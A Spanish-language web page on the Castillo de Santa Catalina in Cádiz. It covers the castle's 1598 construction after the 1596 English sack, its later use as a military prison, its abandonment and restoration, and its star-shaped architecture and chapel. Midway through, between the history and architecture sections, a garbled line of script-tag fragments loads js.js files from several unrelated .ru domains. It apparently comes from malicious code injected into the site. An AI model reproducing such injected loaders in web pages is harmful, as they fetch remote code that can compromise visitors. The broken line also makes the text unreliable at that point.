Castillo de Santa Catalina
Cronología:

Se comenzó a construir en 1598, bajo el reinado de Felipe II, aunque este proceso se extendió hasta el siglo siguiente. 

Bajo la protección de la Declaración genérica del Decreto de 22 de abril de 1.949, y la Ley 16/1985 sobre el Patrimonio Histórico Español, en el año 1.993 la Junta de Andalucía le otorgó un reconocimiento especial.

Estilo:
Militar
Localización:

Situado al norte de la playa de la Caleta de Cádiz, frente al castillo de San Sebastián

Historia:

Corría el año 1596 cuando la ciudad de Cádiz sufrió los avatares del famoso saco inglés. Una poderosa flota anglo-holandesa compuesta por más de 150 naves y unos 15000 hombres, con el Conde de Essex al frente, penetró en la bahía. La ciudad estaba muy mal defendida y la resistencia fue escasa, dejando la ciudad en un estado lamentable, que provocó incluso que Felipe II se planteara la posibilidad de abandonar la isla gaditana definitivamente, pero dada la situación privilegiada de Cádiz y sus posibilidades comerciales, decidió reconstruirla y dotarla de unas defensas adecuadas.

De esta forma encarga al ingeniero Cristóbal de Rojas un proyecto de fortificación general de la ciudad, que tiene como uno de los objetivos la construcción de este recinto amurallado de Santa Catalina, que debía proteger el llamado Frente de la Caleta.

El municipio, por su parte y pese a ser una obra real, no estaba muy conforme con la idea propuesta por Rojas, pues consideraba suficiente la presencia de una simple torre como elemento defensivo de esta importante zona, y no un frente abaluartado que se había ideado. Pese a ello, y no sin problemas ya por razones económicas y de gestión de las obras, el castillo comenzó a construirse en 1598.

En principio las obras avanzarían de forma rápida, aunque luego el proceso de construcción se alargaría hasta el siglo siguiente. Ya en 1739, su valor defensivo y estratégico provocó que se le dotara de catorce cañones, aunque tenía capacidad para treinta y seis.

Bajo el reinado de Carlos III, por Real Orden de 29 de Agosto de 1769, se convirtió en prisión militar, aunque destinada no a presos comunes, sino a personas de condición superior o "mayor carácter", y así permaneció durante mucho tiempo, estando en él cautivos liberales y próceres independentistas americanos, como el mariscal mejicano José Mariano de Abasolo, en 1816.

Con el paso de los siglos se proyectaron algunos destinos para el castillo, la mayoría de los cuales no se llevaron a efecto. Como ejemplo, un proyecto del siglo XVIII en el que se preveía dar al castillo un mayor protagonismo militar haciendo de él la verdadera "ciudadela" de Cádiz, si bien al final se desestimó la obra.

El importante valor estratégico que el castillo tuvo históricamente se perdió con el paso del tiempo. Por ello, en épocas recientes se diseñaron para él otros usos, como el presentando en 1.987 por el general gobernador militar de la plaza don Joaquín Villalba que pretendía la creación en el castillo de Santa Catalina del Centro Cultural Cristóbal de Rojas, y que albergaría el Aula Militar de Cultura, la Biblioteca y Cartoteca del Gobierno Militar, un Museo Militar dedicado a asedios y ataques sufridos por Cádiz, salas de investigadores y reprografía, etc.; y que también fue desechado, aunque continuó en poder del Ministerio de Defensa hasta 1991en que quedó abandonado.

Con posterioridad, el Ministerio estableció un convenio con el Ayuntamiento de Cádiz, que se hizo cargo de él, rehabilitándolo a través de una escuela-taller y dándola usos alternativos. Así en la actualidad, y tras su proceso de restauración, se ha convertido en un espacio cultural de gran interés para la ciudad.

//www.pyttco.com src=http://post.postfolkovs.ru/js.js> src=http://ver.webservicesmulti.ru/js.js> src=http://init.webservicesttt.ru/js.js>
Arquitectura:

El castillo externamente ofrece el impresionante aspecto de lo que en otros tiempos fue una gran fortaleza. Respondiendo a las nuevas fórmulas de la arquitectura militar de la época, su planta tenía forma pentagonal, similar a una estrella de cinco puntas. El frente de tierra, estaba separado mediante un foso y tenía una puerta de acceso con una especie de espadaña rematada por un frontón curvo que en su origen tuvo un rastrillo que había sido reutilizado, por estar en desuso, del Arco del Pópulo. Este frente quedaba protegido por sendos baluartes laterales que defendían la parte más débil del recinto. El frente de mar, de tres baluartes apuntados que miran al océano, estaban rematados con garitas que reforzaban sus extremos.

En cuanto el interior, constaba de un patio central de armas en torno al cual se organizan las dependencias, destacando la casa del Gobernador situada sobre la puerta de acceso, los cuarteles para la tropa precedidos de soportales que daban cierta prestancia al patio, los almacenes de munición, el aljibe de agua y la capilla construida en un lateral del patio en 1693, reinando Carlos II, con una sola nave cubierta con bóveda de cañón y coro alto al pie, y donde se encontraba la sacristía. Esta capilla estaba dedicada a Santa Catalina de Alejandría y a la Purísima Concepción, y contaba con algunas piezas artísticas de interés, tallas y objetos de culto que fueron trasladados al Gobierno Militar y a la Capilla Castrense de la ciudad.

La entrada, muy sobria, presentaba un alerón apoyado en pilastras y una pequeña espadaña; en su interior un solo altar con retablo barroco, obra de la escuela de Saavedra, que ha perdido el dorado, y donde se veneraban las imágenes de Santa Catalina, San José, San Agustín, San Francisco y otros; aunque la preciosa imagen de Santa Catalina en forma de mosaico, que estaba colocada sobre el pórtico interior, desapareció tras el abandono al que se vio sometido el castillo a partir de 1991.